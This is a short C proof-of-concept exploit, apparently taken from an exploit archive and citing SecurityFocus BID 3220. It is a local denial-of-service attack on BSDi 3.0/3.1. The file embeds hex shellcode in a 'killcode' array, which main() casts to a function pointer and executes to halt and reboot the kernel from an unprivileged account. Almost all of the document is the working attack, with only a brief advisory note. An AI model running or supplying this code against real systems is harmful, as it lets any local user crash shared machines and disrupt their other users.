33 lines
No EOL
999 B
C
33 lines
No EOL
999 B
C
/*
|
|
source: https://www.securityfocus.com/bid/3220/info
|
|
|
|
It has been reported that there is a locally exploitable vulnerability in BSDI.
|
|
|
|
It is allegedly possible for a userland process to cause the kernel to halt.
|
|
|
|
This may be due to a bad system call.
|
|
*/
|
|
|
|
/* (BSDi)*[v3.0/3.1] system failure, by
|
|
v9[v9@realhalo.org]. this will result
|
|
in the ability of any user to fail the
|
|
system, and reboot it. this bug is
|
|
similar to that of the "f00f" bug.
|
|
results are similar, except this reboots
|
|
the machine instead of having a freezing
|
|
effect. tested, and built for: BSDi
|
|
v3.0/3.1. (arch/non-specific to BSDi)
|
|
*/
|
|
char bsdi_killcode[] =
|
|
"\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b"
|
|
"\xb0\x9a\x50\x89\xe7\xff\xd7";
|
|
int main() {
|
|
void (*execcode)()=(void *)bsdi_killcode;
|
|
printf("[ (BSDi)*[v3.0/3.1]: system failu"
|
|
"re, by: v9[v9@realhalo.org]. ]\n");
|
|
printf("*** no output should be seen afte"
|
|
"r this point.\n");
|
|
execcode();
|
|
printf("*** system failure failed.\n");
|
|
exit(0);
|
|
} |